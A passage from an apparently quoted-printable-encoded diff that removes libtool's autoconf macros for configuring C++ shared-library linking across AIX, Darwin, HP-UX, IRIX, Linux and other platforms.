-CC=3D"$lt_save_CC" -])# AC_LIBTOOL_LANG_C_CONFIG - - -# AC_LIBTOOL_LANG_CXX_CONFIG -# -------------------------- -# Ensure that the configuration vars for the C compiler are -# suitably defined. Those variables are subsequently used by -# AC_LIBTOOL_CONFIG to write the compiler configuration to `libtool'. -AC_DEFUN([AC_LIBTOOL_LANG_CXX_CONFIG], [_LT_AC_LANG_CXX_CONFIG(CXX)]) -AC_DEFUN([_LT_AC_LANG_CXX_CONFIG], -[AC_LANG_PUSH(C++) -AC_REQUIRE([AC_PROG_CXX]) -AC_REQUIRE([_LT_AC_PROG_CXXCPP]) - -_LT_AC_TAGVAR(archive_cmds_need_lc, $1)=3Dno -_LT_AC_TAGVAR(allow_undefined_flag, $1)=3D -_LT_AC_TAGVAR(always_export_symbols, $1)=3Dno -_LT_AC_TAGVAR(archive_expsym_cmds, $1)=3D -_LT_AC_TAGVAR(export_dynamic_flag_spec, $1)=3D -_LT_AC_TAGVAR(hardcode_direct, $1)=3Dno -_LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D -_LT_AC_TAGVAR(hardcode_libdir_flag_spec_ld, $1)=3D -_LT_AC_TAGVAR(hardcode_libdir_separator, $1)=3D -_LT_AC_TAGVAR(hardcode_minus_L, $1)=3Dno -_LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=3Dunsupported -_LT_AC_TAGVAR(hardcode_automatic, $1)=3Dno -_LT_AC_TAGVAR(module_cmds, $1)=3D -_LT_AC_TAGVAR(module_expsym_cmds, $1)=3D -_LT_AC_TAGVAR(link_all_deplibs, $1)=3Dunknown -_LT_AC_TAGVAR(old_archive_cmds, $1)=3D$old_archive_cmds -_LT_AC_TAGVAR(no_undefined_flag, $1)=3D -_LT_AC_TAGVAR(whole_archive_flag_spec, $1)=3D -_LT_AC_TAGVAR(enable_shared_with_static_runtimes, $1)=3Dno - -# Dependencies to place before and after the object being linked: -_LT_AC_TAGVAR(predep_objects, $1)=3D -_LT_AC_TAGVAR(postdep_objects, $1)=3D -_LT_AC_TAGVAR(predeps, $1)=3D -_LT_AC_TAGVAR(postdeps, $1)=3D -_LT_AC_TAGVAR(compiler_lib_search_path, $1)=3D - -# Source file extension for C++ test sources. -ac_ext=3Dcpp - -# Object file extension for compiled C++ test sources. -objext=3Do -_LT_AC_TAGVAR(objext, $1)=3D$objext - -# Code to be used in simple compile tests -lt_simple_compile_test_code=3D"int some_variable =3D 0;\n" - -# Code to be used in simple link tests -lt_simple_link_test_code=3D'int main(int, char *[[]]) { return(0); }\n= ' - -# ltmain only uses $CC for tagged configurations so make sure $CC is s= et. -_LT_AC_SYS_COMPILER - -# save warnings/boilerplate of simple test code -_LT_COMPILER_BOILERPLATE -_LT_LINKER_BOILERPLATE - -# Allow CC to be a program name with arguments. -lt_save_CC=3D$CC -lt_save_LD=3D$LD -lt_save_GCC=3D$GCC -GCC=3D$GXX -lt_save_with_gnu_ld=3D$with_gnu_ld -lt_save_path_LD=3D$lt_cv_path_LD -if test -n "${lt_cv_prog_gnu_ldcxx+set}"; then - lt_cv_prog_gnu_ld=3D$lt_cv_prog_gnu_ldcxx -else - $as_unset lt_cv_prog_gnu_ld -fi -if test -n "${lt_cv_path_LDCXX+set}"; then - lt_cv_path_LD=3D$lt_cv_path_LDCXX -else - $as_unset lt_cv_path_LD -fi -test -z "${LDCXX+set}" || LD=3D$LDCXX -CC=3D${CXX-"c++"} -compiler=3D$CC -_LT_AC_TAGVAR(compiler, $1)=3D$CC -_LT_CC_BASENAME([$compiler]) - -# We don't want -fno-exception wen compiling C++ code, so set the -# no_builtin_flag separately -if test "$GXX" =3D yes; then - _LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)=3D' -fno-builtin= ' -else - _LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)=3D -fi - -if test "$GXX" =3D yes; then - # Set up default GNU C++ configuration - - AC_PROG_LD - - # Check if GNU C++ uses GNU ld as the underlying linker, since the - # archiving commands below assume that GNU ld is being used. - if test "$with_gnu_ld" =3D yes; then - _LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -shared -nostdlib $predep_o= bjects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname = $wl$soname -o $lib' - _LT_AC_TAGVAR(archive_expsym_cmds, $1)=3D'$CC -shared -nostdlib $p= redep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-= soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' - - _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D'${wl}--rpath ${wl}= $libdir' - _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)=3D'${wl}--export-dynam= ic' - - # If archive_cmds runs LD, not CC, wlarc should be empty - # XXX I think wlarc can be eliminated in ltcf-cxx, but I need to - # investigate it a little bit more. (MM) - wlarc=3D'${wl}' - - # ancient GNU ld didn't support --whole-archive et. al. - if eval "`$CC -print-prog-name=3Dld` --help 2>&1" | \ -=09grep 'no-whole-archive' > /dev/null; then - _LT_AC_TAGVAR(whole_archive_flag_spec, $1)=3D"$wlarc"'--whole-ar= chive$convenience '"$wlarc"'--no-whole-archive' - else - _LT_AC_TAGVAR(whole_archive_flag_spec, $1)=3D - fi - else - with_gnu_ld=3Dno - wlarc=3D - - # A generic and very simple default shared library creation - # command for GNU C++ for the case where it uses the native - # linker, instead of GNU ld. If possible, this setting should - # overridden to take advantage of the native linker features on - # the platform it is being used on. - _LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -shared -nostdlib $predep_o= bjects $libobjs $deplibs $postdep_objects $compiler_flags -o $lib' - fi - - # Commands to make compiler produce verbose output that lists - # what "hidden" libraries, object files and flags are used when - # linking a shared library. - output_verbose_link_cmd=3D'$CC -shared $CFLAGS -v conftest.$objext 2= >&1 | grep "\-L"' - -else - GXX=3Dno - with_gnu_ld=3Dno - wlarc=3D -fi - -# PORTME: fill in a description of your system's C++ link characterist= ics -AC_MSG_CHECKING([whether the $compiler linker ($LD) supports shared li= braries]) -_LT_AC_TAGVAR(ld_shlibs, $1)=3Dyes -case $host_os in - aix3*) - # FIXME: insert proper C++ library support - _LT_AC_TAGVAR(ld_shlibs, $1)=3Dno - ;; - aix4* | aix5*) - if test "$host_cpu" =3D ia64; then - # On IA64, the linker does run time linking by default, so we do= n't - # have to do anything special. - aix_use_runtimelinking=3Dno - exp_sym_flag=3D'-Bexport' - no_entry_flag=3D"" - else - aix_use_runtimelinking=3Dno - - # Test if we are trying to use run time linking or normal - # AIX style linking. If -brtl is somewhere in LDFLAGS, we - # need to do runtime linking. - case $host_os in aix4.[[23]]|aix4.[[23]].*|aix5*) -=09for ld_flag in $LDFLAGS; do -=09 case $ld_flag in -=09 *-brtl*) -=09 aix_use_runtimelinking=3Dyes -=09 break -=09 ;; -=09 esac -=09done -=09;; - esac - - exp_sym_flag=3D'-bexport' - no_entry_flag=3D'-bnoentry' - fi - - # When large executables or shared objects are built, AIX ld can - # have problems creating the table of contents. If linking a libr= ary - # or program results in "error TOC overflow" add -mminimal-toc to - # CXXFLAGS/CFLAGS for g++/gcc. In the cases where that is not - # enough to fix the problem, add -Wl,-bbigtoc to LDFLAGS. - - _LT_AC_TAGVAR(archive_cmds, $1)=3D'' - _LT_AC_TAGVAR(hardcode_direct, $1)=3Dyes - _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=3D':' - _LT_AC_TAGVAR(link_all_deplibs, $1)=3Dyes - - if test "$GXX" =3D yes; then - case $host_os in aix4.[[012]]|aix4.[[012]].*) - # We only want to do this on AIX 4.2 and lower, the check - # below for broken collect2 doesn't work under 4.3+ -=09collect2name=3D`${CC} -print-prog-name=3Dcollect2` -=09if test -f "$collect2name" && \ -=09 strings "$collect2name" | grep resolve_lib_name >/dev/null -=09then -=09 # We have reworked collect2 -=09 _LT_AC_TAGVAR(hardcode_direct, $1)=3Dyes -=09else -=09 # We have old collect2 -=09 _LT_AC_TAGVAR(hardcode_direct, $1)=3Dunsupported -=09 # It fails to find uninstalled libraries when the uninstalled -=09 # path is not listed in the libpath. Setting hardcode_minus_L -=09 # to unsupported forces relinking -=09 _LT_AC_TAGVAR(hardcode_minus_L, $1)=3Dyes -=09 _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D'-L$libdir' -=09 _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=3D -=09fi -=09;; - esac - shared_flag=3D'-shared' - if test "$aix_use_runtimelinking" =3D yes; then -=09shared_flag=3D"$shared_flag "'${wl}-G' - fi - else - # not using gcc - if test "$host_cpu" =3D ia64; then -=09# VisualAge C++, Version 5.5 for AIX 5L for IA-64, Beta 3 Release -=09# chokes on -Wl,-G. The following line is correct: -=09shared_flag=3D'-G' - else -=09if test "$aix_use_runtimelinking" =3D yes; then -=09 shared_flag=3D'${wl}-G' -=09else -=09 shared_flag=3D'${wl}-bM:SRE' -=09fi - fi - fi - - # It seems that -bexpall does not export symbols beginning with - # underscore (_), so it is better to generate a list of symbols to= export. - _LT_AC_TAGVAR(always_export_symbols, $1)=3Dyes - if test "$aix_use_runtimelinking" =3D yes; then - # Warning - without using the other runtime loading flags (-brtl= ), - # -berok will link without error, but may produce a broken libra= ry. - _LT_AC_TAGVAR(allow_undefined_flag, $1)=3D'-berok' - # Determine the default libpath from the value encoded in an emp= ty executable. - _LT_AC_SYS_LIBPATH_AIX - _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D'${wl}-blibpath:$= libdir:'"$aix_libpath" - - _LT_AC_TAGVAR(archive_expsym_cmds, $1)=3D"\$CC"' -o $output_objd= ir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `= if test "x${allow_undefined_flag}" !=3D "x"; then echo "${wl}${allow_un= defined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $sha= red_flag" - else - if test "$host_cpu" =3D ia64; then -=09_LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D'${wl}-R $libdir:/us= r/lib:/lib' -=09_LT_AC_TAGVAR(allow_undefined_flag, $1)=3D"-z nodefs" -=09_LT_AC_TAGVAR(archive_expsym_cmds, $1)=3D"\$CC $shared_flag"' -o $o= utput_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compil= er_flags ${wl}${allow_undefined_flag} '"\${wl}$exp_sym_flag:\$export_sy= mbols" - else -=09# Determine the default libpath from the value encoded in an empty = executable. -=09_LT_AC_SYS_LIBPATH_AIX -=09_LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D'${wl}-blibpath:$lib= dir:'"$aix_libpath" -=09# Warning - without using the other run time loading flags, -=09# -berok will link without error, but may produce a broken library. -=09_LT_AC_TAGVAR(no_undefined_flag, $1)=3D' ${wl}-bernotok' -=09_LT_AC_TAGVAR(allow_undefined_flag, $1)=3D' ${wl}-berok' -=09# Exported symbols can be pulled into shared objects from archives -=09_LT_AC_TAGVAR(whole_archive_flag_spec, $1)=3D'$convenience' -=09_LT_AC_TAGVAR(archive_cmds_need_lc, $1)=3Dyes -=09# This is similar to how AIX traditionally builds its shared librar= ies. -=09_LT_AC_TAGVAR(archive_expsym_cmds, $1)=3D"\$CC $shared_flag"' -o $o= utput_objdir/$soname $libobjs $deplibs ${wl}-bnoentry $compiler_flags $= {wl}-bE:$export_symbols${allow_undefined_flag}~$AR $AR_FLAGS $output_ob= jdir/$libname$release.a $output_objdir/$soname' - fi - fi - ;; - - beos*) - if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null= ; then - _LT_AC_TAGVAR(allow_undefined_flag, $1)=3Dunsupported - # Joseph Beckenbach says some releases of gcc - # support --undefined. This deserves some investigation. FIXME - _LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -nostart $libobjs $deplib= s $compiler_flags ${wl}-soname $wl$soname -o $lib' - else - _LT_AC_TAGVAR(ld_shlibs, $1)=3Dno - fi - ;; - - chorus*) - case $cc_basename in - *) -=09# FIXME: insert proper C++ library support -=09_LT_AC_TAGVAR(ld_shlibs, $1)=3Dno -=09;; - esac - ;; - - cygwin* | mingw* | pw32*) - # _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1) is actually meaning= less, - # as there is no search path for DLLs. - _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D'-L$libdir' - _LT_AC_TAGVAR(allow_undefined_flag, $1)=3Dunsupported - _LT_AC_TAGVAR(always_export_symbols, $1)=3Dno - _LT_AC_TAGVAR(enable_shared_with_static_runtimes, $1)=3Dyes - - if $LD --help 2>&1 | grep 'auto-import' > /dev/null; then - _LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -shared -nostdlib $predep= _objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_= objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xli= nker $lib' - # If the export-symbols file already is a .def file (1st line - # is EXPORTS), use it as is; otherwise, prepend... - _LT_AC_TAGVAR(archive_expsym_cmds, $1)=3D'if test "x`$SED 1q $ex= port_symbols`" =3D xEXPORTS; then -=09cp $export_symbols $output_objdir/$soname.def; - else -=09echo EXPORTS > $output_objdir/$soname.def; -=09cat $export_symbols >> $output_objdir/$soname.def; - fi~ - $CC -shared -nostdlib $output_objdir/$soname.def $predep_objects= $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$= soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $li= b' - else - _LT_AC_TAGVAR(ld_shlibs, $1)=3Dno - fi - ;; - darwin* | rhapsody*) - case $host_os in - rhapsody* | darwin1.[[012]]) - _LT_AC_TAGVAR(allow_undefined_flag, $1)=3D'${wl}-undefined ${= wl}suppress' - ;; - *) # Darwin 1.3 on - if test -z ${MACOSX_DEPLOYMENT_TARGET} ; then - _LT_AC_TAGVAR(allow_undefined_flag, $1)=3D'${wl}-flat_names= pace ${wl}-undefined ${wl}suppress' - else - case ${MACOSX_DEPLOYMENT_TARGET} in - 10.[[012]]) - _LT_AC_TAGVAR(allow_undefined_flag, $1)=3D'${wl}-flat_n= amespace ${wl}-undefined ${wl}suppress' - ;; - 10.*) - _LT_AC_TAGVAR(allow_undefined_flag, $1)=3D'${wl}-undefi= ned ${wl}dynamic_lookup' - ;; - esac - fi - ;; - esac - _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=3Dno - _LT_AC_TAGVAR(hardcode_direct, $1)=3Dno - _LT_AC_TAGVAR(hardcode_automatic, $1)=3Dyes - _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=3Dunsupported - _LT_AC_TAGVAR(whole_archive_flag_spec, $1)=3D'' - _LT_AC_TAGVAR(link_all_deplibs, $1)=3Dyes - - if test "$GXX" =3D yes ; then - lt_int_apple_cc_single_mod=3Dno - output_verbose_link_cmd=3D'echo' - if $CC -dumpspecs 2>&1 | $EGREP 'single_module' >/dev/null ; the= n - lt_int_apple_cc_single_mod=3Dyes - fi - if test "X$lt_int_apple_cc_single_mod" =3D Xyes ; then - _LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -dynamiclib -single_modu= le $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -ins= tall_name $rpath/$soname $verstring' - else - _LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -r -keep_private_exte= rns -nostdlib -o ${lib}-master.o $libobjs~$CC -dynamiclib $allow_undefi= ned_flag -o $lib ${lib}-master.o $deplibs $compiler_flags -install_name= $rpath/$soname $verstring' - fi - _LT_AC_TAGVAR(module_cmds, $1)=3D'$CC $allow_undefined_flag -o= $lib -bundle $libobjs $deplibs$compiler_flags' - # Don't fix this by using the ld -exported_symbols_list flag, = it doesn't exist in older darwin lds - if test "X$lt_int_apple_cc_single_mod" =3D Xyes ; then - _LT_AC_TAGVAR(archive_expsym_cmds, $1)=3D'sed -e "s,#.*,,"= -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objd= ir/${libname}-symbols.expsym~$CC -dynamiclib -single_module $allow_unde= fined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpa= th/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsy= m ${lib}' - else - _LT_AC_TAGVAR(archive_expsym_cmds, $1)=3D'sed -e "s,#.*,,"= -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objd= ir/${libname}-symbols.expsym~$CC -r -keep_private_externs -nostdlib -o = ${lib}-master.o $libobjs~$CC -dynamiclib $allow_undefined_flag -o $lib = ${lib}-master.o $deplibs $compiler_flags -install_name $rpath/$soname $= verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' - fi - _LT_AC_TAGVAR(module_expsym_cmds, $1)=3D'sed -e "s,#.*,," = -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdi= r/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle = $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-sy= mbols.expsym ${lib}' - else - case $cc_basename in - xlc*) - output_verbose_link_cmd=3D'echo' - _LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -qmkshrobj ${wl}-sing= le_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_fla= gs ${wl}-install_name ${wl}`echo $rpath/$soname` $verstring' - _LT_AC_TAGVAR(module_cmds, $1)=3D'$CC $allow_undefined_flag = -o $lib -bundle $libobjs $deplibs$compiler_flags' - # Don't fix this by using the ld -exported_symbols_list flag= , it doesn't exist in older darwin lds - _LT_AC_TAGVAR(archive_expsym_cmds, $1)=3D'sed -e "s,#.*,," -= e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir= /${libname}-symbols.expsym~$CC -qmkshrobj ${wl}-single_module $allow_un= defined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_na= me ${wl}$rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-s= ymbols.expsym ${lib}' - _LT_AC_TAGVAR(module_expsym_cmds, $1)=3D'sed -e "s,#.*,," -e= "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/= ${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $l= ibobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symb= ols.expsym ${lib}' - ;; - *) - _LT_AC_TAGVAR(ld_shlibs, $1)=3Dno - ;; - esac - fi - ;; - - dgux*) - case $cc_basename in - ec++*) -=09# FIXME: insert proper C++ library support -=09_LT_AC_TAGVAR(ld_shlibs, $1)=3Dno -=09;; - ghcx*) -=09# Green Hills C++ Compiler -=09# FIXME: insert proper C++ library support -=09_LT_AC_TAGVAR(ld_shlibs, $1)=3Dno -=09;; - *) -=09# FIXME: insert proper C++ library support -=09_LT_AC_TAGVAR(ld_shlibs, $1)=3Dno -=09;; - esac - ;; - freebsd[[12]]*) - # C++ shared libraries reported to be fairly broken before switch = to ELF - _LT_AC_TAGVAR(ld_shlibs, $1)=3Dno - ;; - freebsd-elf*) - _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=3Dno - ;; - freebsd* | kfreebsd*-gnu | dragonfly*) - # FreeBSD 3 and later use GNU C++ and GNU ld with standard ELF - # conventions - _LT_AC_TAGVAR(ld_shlibs, $1)=3Dyes - ;; - gnu*) - ;; - hpux9*) - _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D'${wl}+b ${wl}$libd= ir' - _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=3D: - _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)=3D'${wl}-E' - _LT_AC_TAGVAR(hardcode_direct, $1)=3Dyes - _LT_AC_TAGVAR(hardcode_minus_L, $1)=3Dyes # Not in the search PATH= , -=09=09=09=09# but as the default -=09=09=09=09# location of the library. - - case $cc_basename in - CC*) - # FIXME: insert proper C++ library support - _LT_AC_TAGVAR(ld_shlibs, $1)=3Dno - ;; - aCC*) - _LT_AC_TAGVAR(archive_cmds, $1)=3D'$rm $output_objdir/$soname~$C= C -b ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $predep_obj= ects $libobjs $deplibs $postdep_objects $compiler_flags~test $output_ob= jdir/$soname =3D $lib || mv $output_objdir/$soname $lib' - # Commands to make compiler produce verbose output that lists - # what "hidden" libraries, object files and flags are used when - # linking a shared library. - # - # There doesn't appear to be a way to prevent this compiler from - # explicitly linking system object files so we need to strip the= m - # from the output so that they don't get included in the library - # dependencies. - output_verbose_link_cmd=3D'templist=3D`($CC -b $CFLAGS -v confte= st.$objext 2>&1) | grep "[[-]]L"`; list=3D""; for z in $templist; do ca= se $z in conftest.$objext) list=3D"$list $z";; *.$objext);; *) list=3D"= $list $z";;esac; done; echo $list' - ;; - *) - if test "$GXX" =3D yes; then - _LT_AC_TAGVAR(archive_cmds, $1)=3D'$rm $output_objdir/$soname~= $CC -shared -nostdlib -fPIC ${wl}+b ${wl}$install_libdir -o $output_obj= dir/$soname $predep_objects $libobjs $deplibs $postdep_objects $compile= r_flags~test $output_objdir/$soname =3D $lib || mv $output_objdir/$sona= me $lib' - else - # FIXME: insert proper C++ library support - _LT_AC_TAGVAR(ld_shlibs, $1)=3Dno - fi - ;; - esac - ;; - hpux10*|hpux11*) - if test $with_gnu_ld =3D no; then - _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D'${wl}+b ${wl}$li= bdir' - _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=3D: - - case $host_cpu in - hppa*64*|ia64*) -=09_LT_AC_TAGVAR(hardcode_libdir_flag_spec_ld, $1)=3D'+b $libdir' - ;; - *) -=09_LT_AC_TAGVAR(export_dynamic_flag_spec, $1)=3D'${wl}-E' - ;; - esac - fi - case $host_cpu in - hppa*64*|ia64*) - _LT_AC_TAGVAR(hardcode_direct, $1)=3Dno - _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=3Dno - ;; - *) - _LT_AC_TAGVAR(hardcode_direct, $1)=3Dyes - _LT_AC_TAGVAR(hardcode_minus_L, $1)=3Dyes # Not in the search PA= TH, -=09=09=09=09=09 # but as the default -=09=09=09=09=09 # location of the library. - ;; - esac - - case $cc_basename in - CC*) -=09# FIXME: insert proper C++ library support -=09_LT_AC_TAGVAR(ld_shlibs, $1)=3Dno -=09;; - aCC*) -=09case $host_cpu in -=09hppa*64*) -=09 _LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -b ${wl}+h ${wl}$soname -o= $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flag= s' -=09 ;; -=09ia64*) -=09 _LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -b ${wl}+h ${wl}$soname ${= wl}+nodefaultrpath -o $lib $predep_objects $libobjs $deplibs $postdep_o= bjects $compiler_flags' -=09 ;; -=09*) -=09 _LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -b ${wl}+h ${wl}$soname ${= wl}+b ${wl}$install_libdir -o $lib $predep_objects $libobjs $deplibs $p= ostdep_objects $compiler_flags' -=09 ;; -=09esac -=09# Commands to make compiler produce verbose output that lists -=09# what "hidden" libraries, object files and flags are used when -=09# linking a shared library. -=09# -=09# There doesn't appear to be a way to prevent this compiler from -=09# explicitly linking system object files so we need to strip them -=09# from the output so that they don't get included in the library -=09# dependencies. -=09output_verbose_link_cmd=3D'templist=3D`($CC -b $CFLAGS -v conftest.= $objext 2>&1) | grep "\-L"`; list=3D""; for z in $templist; do case $z = in conftest.$objext) list=3D"$list $z";; *.$objext);; *) list=3D"$list = $z";;esac; done; echo $list' -=09;; - *) -=09if test "$GXX" =3D yes; then -=09 if test $with_gnu_ld =3D no; then -=09 case $host_cpu in -=09 hppa*64*) -=09 _LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -shared -nostdlib -fPI= C ${wl}+h ${wl}$soname -o $lib $predep_objects $libobjs $deplibs $postd= ep_objects $compiler_flags' -=09 ;; -=09 ia64*) -=09 _LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -shared -nostdlib -fPI= C ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $predep_objects $li= bobjs $deplibs $postdep_objects $compiler_flags' -=09 ;; -=09 *) -=09 _LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -shared -nostdlib -fPI= C ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $predep_obj= ects $libobjs $deplibs $postdep_objects $compiler_flags' -=09 ;; -=09 esac -=09 fi -=09else -=09 # FIXME: insert proper C++ library support -=09 _LT_AC_TAGVAR(ld_shlibs, $1)=3Dno -=09fi -=09;; - esac - ;; - interix3*) - _LT_AC_TAGVAR(hardcode_direct, $1)=3Dno - _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=3Dno - _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D'${wl}-rpath,$libdi= r' - _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)=3D'${wl}-E' - # Hack: On Interix 3.x, we cannot compile PIC because of a broken = gcc. - # Instead, shared libraries are loaded at an image base (0x1000000= 0 by - # default) and relocated if they conflict, which is a slow very me= mory - # consuming and fragmenting process. To avoid this, we pick a ran= dom, - # 256 KiB-aligned image base between 0x50000000 and 0x6FFC0000 at = link - # time. Moving up from 0x10000000 also allows more sbrk(2) space. - _LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -shared $pic_flag $libobjs = $deplibs $compiler_flags ${wl}-h,$soname ${wl}--image-base,`expr ${RAND= OM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib' - _LT_AC_TAGVAR(archive_expsym_cmds, $1)=3D'sed "s,^,_," $export_sym= bols >$output_objdir/$soname.expsym~$CC -shared $pic_flag $libobjs $dep= libs $compiler_flags ${wl}-h,$soname ${wl}--retain-symbols-file,$output= _objdir/$soname.expsym ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 = \* 262144 + 1342177280` -o $lib' - ;; - irix5* | irix6*) - case $cc_basename in - CC*) -=09# SGI C++ -=09_LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -shared -all -multigot $pred= ep_objects $libobjs $deplibs $postdep_objects $compiler_flags -soname $= soname `test -n "$verstring" && echo -set_version $verstring` -update_r= egistry ${output_objdir}/so_locations -o $lib' - -=09# Archives containing C++ object files must be created using -=09# "CC -ar", where "CC" is the IRIX C++ compiler. This is -=09# necessary to make sure instantiated templates are included -=09# in the archive. -=09_LT_AC_TAGVAR(old_archive_cmds, $1)=3D'$CC -ar -WR,-u -o $oldlib $o= ldobjs' -=09;; - *) -=09if test "$GXX" =3D yes; then -=09 if test "$with_gnu_ld" =3D no; then -=09 _LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -shared -nostdlib $prede= p_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-sona= me ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$v= erstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $= lib' -=09 else -=09 _LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -shared -nostdlib $prede= p_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-sona= me ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$v= erstring` -o $lib' -=09 fi -=09fi -=09_LT_AC_TAGVAR(link_all_deplibs, $1)=3Dyes -=09;; - esac - _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D'${wl}-rpath ${wl}$= libdir' - _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=3D: - ;; - linux*) - case $cc_basename in - KCC*) -=09# Kuck and Associates, Inc. (KAI) C++ Compiler - -=09# KCC will only create a shared library if the output file -=09# ends with ".so" (or ".sl" for HP-UX), so rename the library -=09# to its proper name (with version) after linking. -=09_LT_AC_TAGVAR(archive_cmds, $1)=3D'tempext=3D`echo $shared_ext | $S= ED -e '\''s/\([[^()0-9A-Za-z{}]]\)/\\\\\1/g'\''`; templib=3D`echo $lib = | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $depl= ibs $postdep_objects $compiler_flags --soname $soname -o \$templib; mv = \$templib $lib' -=09_LT_AC_TAGVAR(archive_expsym_cmds, $1)=3D'tempext=3D`echo $shared_e= xt | $SED -e '\''s/\([[^()0-9A-Za-z{}]]\)/\\\\\1/g'\''`; templib=3D`ech= o $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobj= s $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templ= ib ${wl}-retain-symbols-file,$export_symbols; mv \$templib $lib' -=09# Commands to make compiler produce verbose output that lists -=09# what "hidden" libraries, object files and flags are used when -=09# linking a shared library. -=09# -=09# There doesn't appear to be a way to prevent this compiler from -=09# explicitly linking system object files so we need to strip them -=09# from the output so that they don't get included in the library -=09# dependencies. -=09output_verbose_link_cmd=3D'templist=3D`$CC $CFLAGS -v conftest.$obj= ext -o libconftest$shared_ext 2>&1 | grep "ld"`; rm -f libconftest$shar= ed_ext; list=3D""; for z in $templist; do case $z in conftest.$objext) = list=3D"$list $z";; *.$objext);; *) list=3D"$list $z";;esac; done; echo= $list' - -=09_LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D'${wl}--rpath,$libdi= r' -=09_LT_AC_TAGVAR(export_dynamic_flag_spec, $1)=3D'${wl}--export-dynami= c' - -=09# Archives containing C++ object files must be created using -=09# "CC -Bstatic", where "CC" is the KAI C++ compiler. -=09_LT_AC_TAGVAR(old_archive_cmds, $1)=3D'$CC -Bstatic -o $oldlib $old= objs' -=09;; - icpc*) -=09# Intel C++ -=09with_gnu_ld=3Dyes -=09# version 8.0 and above of icpc choke on multiply defined symbols -=09# if we add $predep_objects and $postdep_objects, however 7.1 and -=09# 